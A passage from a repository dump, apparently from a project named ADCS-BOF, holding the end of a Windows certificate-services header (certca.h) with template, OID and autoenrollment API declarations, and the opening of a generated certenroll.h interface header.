CT_FLAG_EXPORTABLE_KEY\t\t\tCTPRIVATEKEY_FLAG_EXPORTABLE_KEY\n#define CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED\tCTPRIVATEKEY_FLAG_STRONG_KEY_PROTECTION_REQUIRED\n#define CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM CTPRIVATEKEY_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM\n\n\n//*****************************************************************************\n//\n// General Flags\n//\n//\tMore flags should start from 0x00002000\n//\n//*****************************************************************************\n// This is a machine cert type\n#define CT_FLAG_MACHINE_TYPE                0x00000040\n\n// This is a CA\tcert type\n#define CT_FLAG_IS_CA                       0x00000080\n\n// This is a cross CA cert type \n#define CT_FLAG_IS_CROSS_CA                 0x00000800\n\n// Tells the CA that this certificate should not be persisted in\n// the database if the CA is configured to do so.\n#define CT_FLAG_DONOTPERSISTINDB\t0x00001000\n\n\n\n\n\n// The type is a default cert type (cannot be set).  This flag will be set on\n// all V1 templates.  The templates can not be edited or deleted.\n#define CT_FLAG_IS_DEFAULT                  0x00010000\n\n// The type has been modified, if it is default (cannot be set)\n#define CT_FLAG_IS_MODIFIED                 0x00020000\n\n// settable flags for general flags\n#define CT_MASK_SETTABLE_FLAGS              0x0000ffff\n\n\n// certenroll_end\n\n//\n// CASetCertTypeFlags\n// Sets the General Flags of a cert type.\n// This function is obsolete.  Use CASetCertTypeFlagsEx.\n//\n// hCertType            - handle to the CertType\n//\n// dwFlags              - Flags to be set\n//\n\nHRESULT\nWINAPI\nCASetCertTypeFlags(\n    IN HCERTTYPE           hCertType,\n    IN DWORD               dwFlags\n    );\n\n//\n// CASetCertTypeFlagsEx\n// Sets the Flags of a cert type\n//\n// hCertType            - handle to the CertType\n//\n// dwOption             - Which flag to set\n//                        Can be one of the following:\n//                        CERTTYPE_ENROLLMENT_FLAG\n//                        CERTTYPE_SUBJECT_NAME_FLAG\n//                        CERTTYPE_PRIVATE_KEY_FLAG\n//                        CERTTYPE_GENERAL_FLAG\n//\n// dwFlags              - Value to be set\n//          \n\nHRESULT\nWINAPI\nCASetCertTypeFlagsEx(\n    IN HCERTTYPE           hCertType,\n    IN DWORD               dwOption,\n    IN DWORD               dwFlags\n    );\n\n//\n// CAGetCertTypeKeySpec\n// Retrieve the CAPI Key Spec for this cert type\n//\n// hCertType            - handle to the CertType\n//\n// pdwKeySpec           - pointer to DWORD receiving key spec\n//\n\nHRESULT\nWINAPI\nCAGetCertTypeKeySpec(\n    IN  HCERTTYPE           hCertType,\n    OUT DWORD *             pdwKeySpec\n    );\n\n//\n// CACertTypeSetKeySpec\n// Sets the CAPI1 Key Spec of a cert type\n//\n// hCertType            - handle to the CertType\n//\n// dwKeySpec            - KeySpec to be set\n//\n\nHRESULT\nWINAPI\nCASetCertTypeKeySpec(\n    IN HCERTTYPE            hCertType,\n    IN DWORD                dwKeySpec\n    );\n\n//\n// CAGetCertTypeExpiration\n// Retrieve the Expiration Info for this cert type\n//\n// pftExpiration        - pointer to the FILETIME structure receiving\n//                        the expiration period for this cert type.\n//\n// pftOverlap           - pointer to the FILETIME structure receiving the\n//\t\t\t  suggested renewal overlap period for this cert type.\n//\n\nHRESULT\nWINAPI\nCAGetCertTypeExpiration(\n    IN  HCERTTYPE           hCertType,\n    OUT OPTIONAL FILETIME * pftExpiration,\n    OUT OPTIONAL FILETIME * pftOverlap\n    );\n\n//\n// CASetCertTypeExpiration\n// Set the Expiration Info for this cert type\n//\n// pftExpiration        - pointer to the FILETIME structure containing\n//                        the expiration period for this cert type.\n//\n// pftOverlap           - pointer to the FILETIME structure containing the\n//\t\t\t  suggested renewal overlap period for this cert type.\n//\n\nHRESULT\nWINAPI\nCASetCertTypeExpiration(\n    IN  HCERTTYPE           hCertType,\n    IN OPTIONAL FILETIME  * pftExpiration,\n    IN OPTIONAL FILETIME  * pftOverlap\n    );\n//\n// CACertTypeSetSecurity\n// Set the list of Users, Groups, and Machines allowed\n// to access this cert type.\n//\n// hCertType            - handle to the CertType\n//\n// pSD                  - Security descriptor for this cert type\n//\n\nHRESULT\nWINAPI\nCACertTypeSetSecurity(\n    IN HCERTTYPE               hCertType,\n    IN PSECURITY_DESCRIPTOR    pSD\n    );\n\n\n//\n// CACertTypeGetSecurity\n// Get the list of Users, Groups, and Machines allowed\n// to access this cert type.\n//\n// hCertType            - handle to the CertType\n//\n// ppaSidList           - Pointer to a location receiving the pointer to the\n//\t\t\t  security descriptor.  Free via LocalFree.\n//\n\nHRESULT\nWINAPI\nCACertTypeGetSecurity(\n    IN  HCERTTYPE                  hCertType,\n    OUT PSECURITY_DESCRIPTOR *     ppSD\n    );\n\n//\n//\n// CACertTypeAccessCheck\n// Determine whether the principal specified by\n// ClientToken can be issued this cert type.\n//\n// hCertType            - handle to the CertType\n//\n// ClientToken          - Handle to an impersonation token that represents the\n//\t\t\t  client attempting to request this cert type.  The\n//\t\t\t  handle must have TOKEN_QUERY access to the token;\n//                        otherwise, the call fails with ERROR_ACCESS_DENIED.\n//\n// Return: S_OK on success\n//\n\nHRESULT\nWINAPI\nCACertTypeAccessCheck(\n    IN HCERTTYPE    hCertType,\n    IN HANDLE       ClientToken\n    );\n\n//\n//\n// CACertTypeAccessCheckEx\n// Determine whether the principal specified by\n// ClientToken can be issued this cert type.\n//\n// hCertType            - handle to the CertType\n//\n// ClientToken          - Handle to an impersonation token that represents the\n//\t\t\t  client attempting to request this cert type.  The\n//\t\t\t  handle must have TOKEN_QUERY access to the token;\n//                        otherwise, the call fails with ERROR_ACCESS_DENIED.\n//\n// dwOption             - Can be one of the following:\n//                        CERTTYPE_ACCESS_CHECK_ENROLL\n//                        CERTTYPE_ACCESS_CHECK_AUTO_ENROLL\n//                        CERTTYPE_ACCESS_CHECK_WRITE_DAC\n//                        CERTTYPE_ACCESS_CHECK_CHANGE_OWNER\n//                      \n//                      dwOption can be ORed with CERTTYPE_ACCESS_CHECK_NO_MAPPING\n//                      to disallow default mapping of client token\n//\n// Return: S_OK on success\n//\n\nHRESULT\nWINAPI\nCACertTypeAccessCheckEx(\n    IN HCERTTYPE    hCertType,\n    IN HANDLE       ClientToken,\n    IN DWORD        dwOption\n    );\n\n\n//\n//\n// CACertTypeAuthzAccessCheck\n// Determine whether the principal specified by\n// AuthzClientToken can be issued this cert type.\n//\n// hCertType            - handle to the CertType\n//\n// AuthzClientToken          - Handle to an Authztoken that represents the\n//\t\t\t  client attempting to request this cert type.  \n//\n// dwOption             - Can be one of the following:\n//                        CERTTYPE_ACCESS_CHECK_ENROLL\n//                        CERTTYPE_ACCESS_CHECK_AUTO_ENROLL\n//                      \n//\n// Return: S_OK on success\n//\n\nHRESULT\nWINAPI\nCACertTypeAuthzAccessCheck(\n    IN HCERTTYPE    hCertType,\n    IN  PVOID         AuthzClientToken,\n    IN DWORD        dwOption\n    );\n\n\n\n#define CERTTYPE_ACCESS_CHECK_ENROLL        0x01\n#define CERTTYPE_ACCESS_CHECK_AUTO_ENROLL   0x02\n#define CERTTYPE_ACCESS_CHECK_READ          0x04\n#define CERTTYPE_ACCESS_CHECK_WRITE_DAC  0x08\n#define CERTTYPE_ACCESS_CHECK_CHANGE_OWNER 0x10\n\n#define CERTTYPE_ACCESS_CHECK_NO_MAPPING    0x00010000\n\n\n//\n// CAGetCertTypeAccessRights\n//\n// Determine the access rights of the HCertType based on the current context\n//\n// hCertType        - Handle to the CertType\n//\n// dwContext    - Can be one of the following:\n//                 CA_CONTEXT_CURREN \n//                 CA_CONTEXT_ADMINISTRATOR_FORCE_MACHINE\n//\n// pdwAccessRight- Oring of the following flags:\n//                 CA_ACCESS_RIGHT_READ\n//                 CA_ACCESS_RIGH_ENROLL\n//                 CA_ACCESS_RIGHT_AUTO_ENROLL\n//\n//\n// Return: S_OK on success\n//\nHRESULT\nWINAPI\nCAGetCertTypeAccessRights(\n    IN  HCERTTYPE    hCertType,\n    IN  DWORD        dwContext,\n    OUT DWORD        *pdwAccessRights \n    );\n\n\n// CAIsCertTypeValid\n//\n// Determine if the HCERTTYPE has full properties and readable\n// from the current context.  For CertTypes that are not readable from\n// current context, only CERTTYPE_PROP_CN are present\n//\n// hCertType        - Handle to the CertType\n//\n// pValid           - TRUE is the CertType is readable\n//\n// Return: S_OK on success\n//\nHRESULT\nWINAPI\nCAIsCertTypeValid(\n    IN  HCERTTYPE    hCertType,\n    OUT BOOL        *pValid\n    );\n\n\n//\n//\n// CAInstallDefaultCertType\n//\n// Install default certificate types on the enterprise.  \n//\n// dwFlags            - Reserved.  Must be 0 for now\n//\n//\n// Return: S_OK on success\n//\nHRESULT\nWINAPI\nCAInstallDefaultCertType(\n    IN DWORD dwFlags\n    );\n\n//\n//\n// CAInstallDefaultCertTypeEx\n//\n// Install default certificate types on the enterprise.  \n//\n// lpPara:-              is a pointer to an LDAP handle\n//                           if dwFlags has CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                           and is NULL otherwise\n// dwFlags:-                 CT_FLAG_SCOPE_IS_LDAP_HANDLE ,\n//                                 0\n//\n//\n// Return: S_OK on success\n//\nHRESULT\nWINAPI\nCAInstallDefaultCertTypeEx(\n    IN LPVOID lpPara,\n    IN DWORD dwFlags\n    );\n\n\n//\n//\n// CAIsCertTypeCurrent\n//\n// Check if the certificate type on the DS is up to date \n//\n// dwFlags            - Reserved.  Must be 0 for now\n// wszCertType        - The name for the certificate type\n//\n// Return: TRUE if the cert type is update to date\n//\nBOOL\nWINAPI\nCAIsCertTypeCurrent(\n    IN DWORD    dwFlags,\n    _In_ LPWSTR   wszCertType   \n    );\n\n\n//\n//\n// CAIsCertTypeCurrentEx\n//\n// Check if the certificate type on the DS is up to date \n//\n// lpPara:-              is a pointer to an LDAP handle\n//                           if dwFlags has CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                           and is NULL otherwise\n// dwFlags:-                 CT_FLAG_SCOPE_IS_LDAP_HANDLE ,\n//                                 0\n// wszCertType        - The name for the certificate type\n//\n// Return: TRUE if the cert type is update to date\n//\nBOOL\nWINAPI\nCAIsCertTypeCurrentEx(\n    IN LPVOID lpPara,\n    IN DWORD    dwFlags,\n    _In_ LPWSTR   wszCertType   \n    );\n\n\n\n\n\n\n//*****************************************************************************\n//\n//  OID management APIs\n//\n//*****************************************************************************\n//\n// CAOIDCreateNew\n// Create a new OID based on the enterprise base\n//\n// dwType                - Can be one of the following:\n//                        CERT_OID_TYPE_TEMPLATE\t\t\t\n//                        CERT_OID_TYPE_ISSUER_POLICY\n//                        CERT_OID_TYPE_APPLICATION_POLICY\n//\n// dwFlag               - Reserved.  Must be 0.\n//\n// ppwszOID             - Return the new OID.  Free memory via LocalFree().\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCAOIDCreateNew(\n    IN\tDWORD   dwType,\n    IN  DWORD   dwFlag,\n    _Outptr_ LPWSTR\t*ppwszOID);\n\n\n// CAOIDCreateNewEx\n// Create a new OID based on the enterprise base\n//\n// dwType                - Can be one of the following:\n//                        CERT_OID_TYPE_TEMPLATE\t\t\t\n//                        CERT_OID_TYPE_ISSUER_POLICY\n//                        CERT_OID_TYPE_APPLICATION_POLICY\n//\n// dwFlag               - CA_FLAG_SCOPE_IS_LDAP_HANDLE or 0.\n// lpPara\t\t\t    - if dwFlag is CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                        then this is the LDAP handle otherwise this is NULL                              \n//\n// ppwszOID             - Return the new OID.  Free memory via LocalFree().\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCAOIDCreateNewEx(\n    IN\tDWORD   dwType,\n    IN  DWORD   dwFlag,\n    _In_opt_  LPVOID lpPara,    \n    _Outptr_ LPWSTR\t*ppwszOID);\n\n\n\n\n#define CERT_OID_TYPE_TEMPLATE\t\t\t0x01\n#define CERT_OID_TYPE_ISSUER_POLICY\t\t0x02\n#define CERT_OID_TYPE_APPLICATION_POLICY\t0x03\n\n//\n// CAOIDAdd\n// Add an OID to the DS repository\n//\n// dwType               - Can be one of the following:\n//                        CERT_OID_TYPE_TEMPLATE\t\t\t\n//                        CERT_OID_TYPE_ISSUER_POLICY\n//                        CERT_OID_TYPE_APPLICATION_POLICY\n//\n// dwFlag               - Reserved.  Must be 0.\n//\n// pwszOID              - The OID to add.\n//\n// Returns S_OK if successful.\n// Returns CRYPT_E_EXISTS if the OID alreay exits in the DS repository\n//\n\nHRESULT\nWINAPI\nCAOIDAdd(\n    IN\tDWORD       dwType,\n    IN  DWORD       dwFlag,\n    IN  LPCWSTR\t    pwszOID);\n\n\n//\n// CAOIDAddEx\n// Add an OID to the DS repository\n//\n// dwType               - Can be one of the following:\n//                        CERT_OID_TYPE_TEMPLATE\t\t\t\n//                        CERT_OID_TYPE_ISSUER_POLICY\n//                        CERT_OID_TYPE_APPLICATION_POLICY\n//\n// dwFlag               - CA_FLAG_SCOPE_IS_LDAP_HANDLE or 0.\n// lpPara\t\t\t    - if dwFlag is CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                        then this is the LDAP handle otherwise this is NULL     \n//\n// pwszOID              - The OID to add.\n//\n// Returns S_OK if successful.\n// Returns CRYPT_E_EXISTS if the OID alreay exits in the DS repository\n//\n\nHRESULT\nWINAPI\nCAOIDAddEx(\n    IN\tDWORD       dwType,\n    IN  DWORD       dwFlag,\n    _In_opt_  LPVOID      lpPara,\n    IN  LPCWSTR\t    pwszOID);\n\n\n\n\n//\n// CAOIDDelete\n// Delete the OID from the DS repository\n//\n// pwszOID              - The OID to delete.\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCAOIDDelete(\n    IN LPCWSTR\tpwszOID);\n\n//\n// CAOIDDeleteEx\n// Delete the OID from the DS repository\n//\n// dwFlag               - CA_FLAG_SCOPE_IS_LDAP_HANDLE or 0.\n// lpPara\t\t\t    - if dwFlag is CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                        then this is the LDAP handle otherwise this is NULL       \n// pwszOID              - The OID to delete.\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCAOIDDeleteEx(\n    IN  DWORD   dwFlag,\n    _In_opt_  LPVOID lpPara, \n    IN LPCWSTR\tpwszOID);\n\n//\n// CAOIDSetProperty\n// Set a property on an OID.  \n//\n// pwszOID              - The OID whose value is set\n// dwProperty           - The property name.  Can be one of the following:\n//                        CERT_OID_PROPERTY_DISPLAY_NAME\n//                        CERT_OID_PROPERTY_CPS\n//\n// pPropValue           - The value of the property.\n//                        If dwProperty is CERT_OID_PROPERTY_DISPLAY_NAME,\n//                        pPropValue is LPWSTR. \n//                        if dwProperty is CERT_OID_PROPERTY_CPS,\n//                        pPropValue is LPWSTR.  \n//                        NULL will remove the property\n//\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCAOIDSetProperty(\n    IN  LPCWSTR pwszOID,\n    IN  DWORD   dwProperty,\n    IN  LPVOID  pPropValue);\n\n\n//\n// CAOIDSetPropertyEx\n// Set a property on an OID.  \n//\n// dwFlag               - CA_FLAG_SCOPE_IS_LDAP_HANDLE or 0.\n// lpPara\t\t\t    - if dwFlag is CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                        then this is the LDAP handle otherwise this is NULL  \n//\n// pwszOID              - The OID whose value is set\n// dwProperty           - The property name.  Can be one of the following:\n//                        CERT_OID_PROPERTY_DISPLAY_NAME\n//                        CERT_OID_PROPERTY_CPS\n//\n// pPropValue           - The value of the property.\n//                        If dwProperty is CERT_OID_PROPERTY_DISPLAY_NAME,\n//                        pPropValue is LPWSTR. \n//                        if dwProperty is CERT_OID_PROPERTY_CPS,\n//                        pPropValue is LPWSTR.  \n//                        NULL will remove the property\n//\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCAOIDSetPropertyEx(\n    IN  DWORD   dwFlag,\n    _In_opt_  LPVOID lpPara, \n    IN  LPCWSTR pwszOID,\n    IN  DWORD   dwProperty,\n    IN  LPVOID  pPropValue);\n\n\n\n\n#define CERT_OID_PROPERTY_DISPLAY_NAME      0x01\n#define CERT_OID_PROPERTY_CPS               0x02\n#define CERT_OID_PROPERTY_TYPE              0x03\n\n//\n// CAOIDGetProperty\n// Get a property on an OID.  \n//\n// pwszOID              - The OID whose value is queried\n// dwProperty           - The property name.  Can be one of the following:\n//                        CERT_OID_PROPERTY_DISPLAY_NAME\n//                        CERT_OID_PROPERTY_CPS\n//                        CERT_OID_PROPERTY_TYPE\n//\n// pPropValue           - The value of the property.\n//                        If dwProperty is CERT_OID_PROPERTY_DISPLAY_NAME,\n//                        pPropValue is LPWSTR *.  \n//                        if dwProperty is CERT_OID_PROPERTY_CPS, pPropValue is\n//\t\t\t  LPWSTR *. \n//\n//                        Free the above properties via CAOIDFreeProperty().\n//\n//                        If dwProperty is CERT_OID_PROPERTY_TYPE, pPropValue\n//\t\t\t  is DWORD *. \n//\n// Returns S_OK if successful.\n//\nHRESULT\nWINAPI\nCAOIDGetProperty(\n    IN  LPCWSTR pwszOID,\n    IN  DWORD   dwProperty,\n    OUT LPVOID  pPropValue);\n\n\n//\n// CAOIDGetPropertyEx\n// Get a property on an OID.  \n//\n// dwFlag               - CA_FLAG_SCOPE_IS_LDAP_HANDLE or 0.\n// lpPara\t\t\t    - if dwFlag is CT_FLAG_SCOPE_IS_LDAP_HANDLE\n//                        then this is the LDAP handle otherwise this is NULL  \n//\n// pwszOID              - The OID whose value is queried\n// dwProperty           - The property name.  Can be one of the following:\n//                        CERT_OID_PROPERTY_DISPLAY_NAME\n//                        CERT_OID_PROPERTY_CPS\n//                        CERT_OID_PROPERTY_TYPE\n//\n// pPropValue           - The value of the property.\n//                        If dwProperty is CERT_OID_PROPERTY_DISPLAY_NAME,\n//                        pPropValue is LPWSTR *.  \n//                        if dwProperty is CERT_OID_PROPERTY_CPS, pPropValue is\n//\t\t\t  LPWSTR *. \n//\n//                        Free the above properties via CAOIDFreeProperty().\n//\n//                        If dwProperty is CERT_OID_PROPERTY_TYPE, pPropValue\n//\t\t\t  is DWORD *. \n//\n// Returns S_OK if successful.\n//\nHRESULT\nWINAPI\nCAOIDGetPropertyEx(\n    IN  DWORD   dwFlag,\n    _In_opt_  LPVOID lpPara, \n    IN  LPCWSTR pwszOID,\n    IN  DWORD   dwProperty,\n    OUT LPVOID  pPropValue);\n\n\n\n\n//\n// CAOIDFreeProperty\n// Free a property returned from CAOIDGetProperty  \n//\n// pPropValue           - The value of the property.\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCAOIDFreeProperty(\n    IN LPVOID  pPropValue);\n\n//\n// CAOIDGetLdapURL\n// \n// Return the LDAP URL for OID repository.  In the format of \n// LDAP:///DN of the Repository/all attributes?one?filter.  The filter\n// is determined by dwType.\n//\n// dwType               - Can be one of the following:\n//                        CERT_OID_TYPE_TEMPLATE\t\t\t\n//                        CERT_OID_TYPE_ISSUER_POLICY\n//                        CERT_OID_TYPE_APPLICATION_POLICY\n//                        CERT_OID_TYPE_ALL\n//\n// dwFlag               - Reserved.  Must be 0.\n//\n// ppwszURL             - Return the URL.  Free memory via CAOIDFreeLdapURL.\n//\n// Returns S_OK if successful.\n//\nHRESULT\nWINAPI\nCAOIDGetLdapURL(\n    IN  DWORD   dwType,\n    IN  DWORD   dwFlag,\n    _Outptr_ LPWSTR  *ppwszURL);\n\n#define CERT_OID_TYPE_ALL           0x0\n\n//\n// CAOIDFreeLDAPURL\n// Free the URL returned from CAOIDGetLdapURL\n//\n// pwszURL      - The URL returned from CAOIDGetLdapURL\n//\n// Returns S_OK if successful.\n//\nHRESULT\nWINAPI\nCAOIDFreeLdapURL(\n    IN LPCWSTR      pwszURL);\n\n\n//the LDAP properties for OID class\n#define OID_PROP_TYPE                   L\"flags\"\n#define OID_PROP_TYPE_A                 \"flags\"\n\n#define OID_PROP_OID                    L\"msPKI-Cert-Template-OID\"\n#define OID_PROP_OID_A                  \"msPKI-Cert-Template-OID\"\n\n#define OID_PROP_DISPLAY_NAME           L\"displayName\"\n#define OID_PROP_DISPLAY_NAME_A         \"displayName\"\n\n#define OID_PROP_CPS                    L\"msPKI-OID-CPS\"\n#define OID_PROP_CPS_A                  \"msPKI-OID-CPS\"\n\n#define OID_PROP_LOCALIZED_NAME         L\"msPKI-OIDLocalizedName\"\n#define OID_PROP_LOCALIZED_NAME_A       \"msPKI-OIDLocalizedName\"\n\n#define CT_QUERY_REGISTER_CERTTYPE_CHANGE_FLAG 0x00000001\n#define CT_QUERY_REGISTER_CA_CHANGE_FLAG 0x00000002\n\n//*****************************************************************************\n//\n//  Cert Type Change Query APIS\n//\n//*****************************************************************************\n//\n// CACertTypeRegisterQuery\n// \n//      Regiser the calling thread to query if any modification has happened\n//  to cert type information on the directory\n//\n//\n// dwFlag               - CT_QUERY_REGISTER_CERTTYPE_CHANGE_FLAG or\n//                        CT_QUERY_REGISTER_CA_CHANGE_FLAG                        \n//\n// pvldap               - The LDAP handle to the directory (LDAP *).  Optional input.\n//                        If pvldap is not NULL, then the caller has to call\n//                        CACertTypeUnregisterQuery before unbind the pldap.\n//\n// pHCertTypeQuery      - Receive the HCERTTYPEQUERY handle upon success.\n//\n// Returns S_OK if successful.\n//\n//\nHRESULT\nWINAPI\nCACertTypeRegisterQuery(\n    IN\tDWORD               dwFlag,\n    IN  LPVOID              pvldap,\n    OUT HCERTTYPEQUERY      *phCertTypeQuery);\n\n\n\n//\n// CACertTypeQuery\n// \n//      Returns a change sequence number which is incremented by 1 whenever\n// cert type information on the directory is changed.     \n//\n// hCertTypeQuery               -  The hCertTypeQuery returned from previous\n//                                  CACertTypeRegisterQuery  calls.\n//\n// *pdwChangeSequence           -  Returns a DWORD, which is incremented by 1 \n//                                  whenever any changes has happened to cert type \n//                                  information on the directory since the last \n//                                  call to CACertTypeRegisterQuery or CACertTypeQuery.\n//\n//\n//\n// Returns S_OK if successful.\n//\n//\nHRESULT\nWINAPI\nCACertTypeQuery(\n    IN\tHCERTTYPEQUERY  hCertTypeQuery,\n    OUT DWORD           *pdwChangeSequence);\n\n\n\n//\n// CACertTypeUnregisterQuery\n// \n//      Unregister the calling thread to query if any modification has happened\n//  to cert type information on the directory\n//\n//\n// hCertTypeQuery               -  The hCertTypeQuery returned from previous\n//                                  CACertTypeRegisterQuery calls.\n//\n// Returns S_OK if successful.\n//\n//\nHRESULT\nWINAPI\nCACertTypeUnregisterQuery(\n    IN\tHCERTTYPEQUERY  hCertTypeQuery);\n\n\n//*****************************************************************************\n//\n//  Autoenrollment APIs\n//\n//*****************************************************************************\n\n//\n// CACreateLocalAutoEnrollmentObject\n// Create an auto-enrollment object on the local machine.\n//\n// pwszCertType - The name of the certificate type for which to create the\n//\t\t  auto-enrollment object\n//\n// awszCAs      - The list of CAs to add to the auto-enrollment object with the\n//\t\t  last entry in the list being NULL.  If the list is NULL or\n//\t\t  empty, then it create an auto-enrollment object which\n//\t\t  instructs the system to enroll for a cert at any CA\n//\t\t  supporting the requested certificate type.\n//\n// pSignerInfo  - not used, must be NULL.\n//\n// dwFlags      - can be CERT_SYSTEM_STORE_CURRENT_USER or\n//\t\t  CERT_SYSTEM_STORE_LOCAL_MACHINE, indicating auto-enrollment\n//\t\t  store in which the auto-enrollment object is created.\n//\n// Return:      S_OK on success.\n//\n\nHRESULT\nWINAPI\nCACreateLocalAutoEnrollmentObject(\n    IN LPCWSTR                              pwszCertType,\n    _In_opt_z_ PWSTR *                      awszCAs,\n    IN OPTIONAL PCMSG_SIGNED_ENCODE_INFO    pSignerInfo,\n    IN DWORD                                dwFlags);\n\n//\n// CADeleteLocalAutoEnrollmentObject\n// Delete an auto-enrollment object on the local machine.\n//\n// pwszCertType - The name of the certificate type for which to delete the\n//\t\t  auto-enrollment object\n//\n// awszCAs      - not used. must be NULL.  All callers to CACreateLocalAutoEnrollmentObject\n//                have supplied NULL.\n//\n// pSignerInfo  - not used, must be NULL.\n//\n// dwFlags      - can be CERT_SYSTEM_STORE_CURRENT_USER or\n//\t\t  CERT_SYSTEM_STORE_LOCAL_MACHINE, indicating auto-enrollment\n//\t\t  store in which the auto-enrollment object is deleted.\n//\n// Return:      S_OK on success.\n//\n\nHRESULT\nWINAPI\nCADeleteLocalAutoEnrollmentObject(\n    IN LPCWSTR                              pwszCertType,\n    _In_opt_z_ PWSTR *                      awszCAs,\n    IN OPTIONAL PCMSG_SIGNED_ENCODE_INFO    pSignerInfo,\n    IN DWORD                                dwFlags);\n\n\n//\n// CACreateAutoEnrollmentObjectEx\n// Create an auto-enrollment object in the indicated store.\n//\n// pwszCertType - The name of the certificate type for which to create the\n//\t\t  auto-enrollment object\n//\n// pwszObjectID - An identifying string for this autoenrollment object.  NULL\n//\t\t  may be passed if this object is simply to be identified by\n//\t\t  its certificate template.  An autoenrollment object is\n//\t\t  identified by a combination of its object id and its cert\n//\t\t  type name.\n//\n// awszCAs      - The list of CAs to add to the auto-enrollment object, with\n//\t\t  the last entry in the list being NULL.  If the list is NULL\n//\t\t  or empty, then it create an auto-enrollment object which\n//\t\t  instructs the system to enroll for a cert at any CA\n//\t\t  supporting the requested certificate type.\n//\n// pSignerInfo  - not used, must be NULL.\n//\n// StoreProvider - see CertOpenStore\n//\n// dwFlags      - see CertOpenStore\n//\n// pvPara       - see CertOpenStore\n//\n// Return:      S_OK on success.\n//\n//\n\nHRESULT\nWINAPI\nCACreateAutoEnrollmentObjectEx(\n    IN LPCWSTR                     pwszCertType,\n    IN LPCWSTR                     wszObjectID,\n    _In_z_ PWSTR *                 awszCAs,\n    IN PCMSG_SIGNED_ENCODE_INFO    pSignerInfo,\n    IN LPCSTR                      StoreProvider,\n    IN DWORD                       dwFlags,\n    IN const void *                pvPara);\n\n\n\ntypedef struct _CERTSERVERENROLL\n{\n    DWORD   Disposition;\n    HRESULT hrLastStatus;\n    DWORD   RequestId;\n    BYTE   *pbCert;\n    DWORD   cbCert;\n    BYTE   *pbCertChain;\n    DWORD   cbCertChain;\n    WCHAR  *pwszDispositionMessage;\n} CERTSERVERENROLL;\n\n\n//*****************************************************************************\n//\n// Cert Server RPC interfaces:\n//\n//*****************************************************************************\n\nHRESULT\nWINAPI\nCertServerSubmitRequest(\n    _In_ DWORD Flags,\n    _In_ BYTE const *pbRequest,\n    _In_ DWORD cbRequest,\n    _In_opt_ PCWSTR pwszRequestAttributes,\n    _In_ PCWSTR pwszServerName,\n    _In_ PCWSTR pwszAuthority,\n    _Outptr_ CERTSERVERENROLL **ppcsEnroll); // free via CertServerFreeMemory\n\nHRESULT\nWINAPI\nCertServerRetrievePending(\n    _In_ DWORD RequestId,\n    _In_opt_ PCWSTR pwszSerialNumber,\n    _In_ PCWSTR pwszServerName,\n    _In_ PCWSTR pwszAuthority,\n    _Outptr_ CERTSERVERENROLL **ppcsEnroll); // free via CertServerFreeMemory\n\nVOID\nWINAPI\nCertServerFreeMemory(\n    _In_ VOID *pv);\n\n\nenum ENUM_PERIOD\n{\n    ENUM_PERIOD_INVALID = -1,\n    ENUM_PERIOD_SECONDS = 0,\n    ENUM_PERIOD_MINUTES,\n    ENUM_PERIOD_HOURS,\n    ENUM_PERIOD_DAYS,\n    ENUM_PERIOD_WEEKS,\n    ENUM_PERIOD_MONTHS,\n    ENUM_PERIOD_YEARS\n};\n\ntypedef struct _PERIODUNITS\n{\n    LONG             lCount;\n    enum ENUM_PERIOD enumPeriod;\n} PERIODUNITS;\n\n\n#define TFTP_EXACT\t\tTRUE\n#define TFTP_ACCEPTZERO\t\t0x00000002\n\nHRESULT\ncaTranslateFileTimePeriodToPeriodUnits(\n    IN FILETIME const *pftGMT,\n    IN BOOL Flags,\t\t// Win7: was BOOL fExact\n    OUT DWORD *pcPeriodUnits,\n    OUT PERIODUNITS **prgPeriodUnits);\n\nHRESULT\nWINAPI\nIsRequestConnectionLocal(\n    _In_ LPCWSTR pcwszConfig,\n    _Out_ BOOL* pfLocal);\n\nBOOL\nWINAPI\nmyNetLogonUser(\n    _In_opt_ PCWSTR UserName,\n    _In_opt_ PCWSTR DomainName,\n    _In_opt_ PCWSTR Password,\n    _Out_ PHANDLE phToken);\n\n#ifdef __cplusplus\n}\n#endif\n#endif //__CERTCA_H__\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/certenroll.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0622 */\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n#ifndef COM_NO_WINDOWS_H\n#include \"windows.h\"\n#include \"ole2.h\"\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __certenroll_h__\n#define __certenroll_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __IObjectId_FWD_DEFINED__\n#define __IObjectId_FWD_DEFINED__\ntypedef interface IObjectId IObjectId;\n\n#endif \t/* __IObjectId_FWD_DEFINED__ */\n\n\n#ifndef __IObjectIds_FWD_DEFINED__\n#define __IObjectIds_FWD_DEFINED__\ntypedef interface IObjectIds IObjectIds;\n\n#endif \t/* 